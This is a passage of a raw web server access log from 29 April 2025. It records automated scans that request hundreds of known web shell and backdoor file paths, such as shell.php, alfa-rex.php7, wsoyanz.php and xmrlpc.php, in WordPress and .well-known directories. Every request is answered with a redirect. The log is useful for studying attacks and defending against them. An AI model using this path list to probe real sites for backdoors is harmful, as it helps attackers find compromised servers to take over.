HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:51 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:53 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:54 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:56 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:57 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:58 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:44:59 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:00 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:02 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:04 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:05 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:06 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:08 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:10 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:11 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [29/Apr/2025:03:05:01 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:03:05:20 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 162.0.232.217 - - [29/Apr/2025:03:05:44 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 162.0.232.217 - - [29/Apr/2025:03:06:13 -0400] "GET /.well-known/pki-validation/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 162.0.232.217 - - [29/Apr/2025:03:06:49 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 162.0.232.217 - - [29/Apr/2025:03:07:12 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 162.0.232.217 - - [29/Apr/2025:03:07:23 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:03:07:31 -0400] "GET /.well-known/pki-validation/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 162.0.232.217 - - [29/Apr/2025:03:07:44 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 162.0.232.217 - - [29/Apr/2025:03:07:52 -0400] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 162.0.232.217 - - [29/Apr/2025:03:07:56 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 162.0.232.217 - - [29/Apr/2025:03:08:01 -0400] "GET /.well-known/pki-validation/ssl.php%3fxsec=blocker HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:03:08:08 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 162.0.232.217 - - [29/Apr/2025:03:08:15 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 162.0.232.217 - - [29/Apr/2025:03:08:21 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:03:08:25 -0400] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:03:08:44 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:03:08:46 -0400] "GET /.well-known/pki-validation/baja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 162.0.232.217 - - [29/Apr/2025:03:08:47 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 162.0.232.217 - - [29/Apr/2025:03:08:55 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 162.0.232.217 - - [29/Apr/2025:03:09:03 -0400] "GET /.well-known/pki-validation/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 52.178.157.95 - - [29/Apr/2025:02:45:12 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:13 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:15 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:16 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:17 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:18 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:19 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:21 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:22 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:23 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:24 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:25 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:27 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:28 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:28 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:29 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:30 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:31 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:33 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:34 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:35 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:35 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:36 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:37 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:38 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:39 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:40 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:41 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [29/Apr/2025:02:45:42 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 216.131.68.240 - - [29/Apr/2025:02:50:16 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:03:09:05 -0400] "GET /.well-known/pki-validation/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:03:09:07 -0400] "GET /.well-known/pki-validation/web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:03:09:07 -0400] "GET /.well-known/pki-validation/index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:03:09:52 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 162.0.232.217 - - [29/Apr/2025:03:11:49 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 162.0.232.217 - - [29/Apr/2025:03:12:01 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:03:12:01 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:03:12:12 -0400] "GET /.well-known/pki-validation/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:03:12:33 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:03:13:29 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:03:13:40 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 162.0.232.217 - - [29/Apr/2025:03:19:16 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.21.13.25 - - [29/Apr/2025:03:22:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 54.241.233.119 - - [29/Apr/2025:03:58:09 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 54.236.1.11 - - [29/Apr/2025:04:00:08 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 54.236.1.11 - - [29/Apr/2025:04:00:08 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 54.236.1.13 - - [29/Apr/2025:04:00:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 185.40.48.135 - - [29/Apr/2025:04:00:16 -0400] "GET / HTTP/1.1" 301 795 "http://lsdkjlxckvjsldfjsdkf.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36" 162.0.232.217 - - [29/Apr/2025:04:30:55 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:04:31:18 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:04:31:33 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [29/Apr/2025:04:31:34 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "get_local:DCV" 173.208.203.178 - - [29/Apr/2025:04:35:25 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 OPR/77.0.4054.203" 173.208.203.179 - - [29/Apr/2025:04:35:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0" 52.184.180.195 - - [29/Apr/2025:05:03:13 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:14 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:14 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:14 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:15 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:15 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:15 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:16 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:16 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:17 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:17 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:17 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:18 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:18 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:18 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:19 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:19 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:19 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:20 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:20 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:20 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:20 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:21 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:21 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:21 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:21 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:22 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:22 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:22 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:22 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:23 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:23 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:23 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:23 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:24 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:24 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:24 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:24 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:24 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:25 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:25 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:25 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:25 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:26 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:26 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:26 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:26 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:27 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:27 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:28 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:28 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:29 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:29 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:29 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:30 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:30 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:30 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:30 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:31 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:31 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:32 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:33 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:33 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:33 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:33 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:34 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:34 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:34 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:34 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:35 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:35 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:35 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:35 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:35 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:36 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:36 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:36 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:36 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:37 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:37 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:37 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:37 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:38 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:38 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:38 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:38 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:39 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:39 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:40 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:40 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:40 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:40 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:41 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:41 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:41 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:42 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:42 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [29/Apr/2025:05:03:42 -0400] "GET 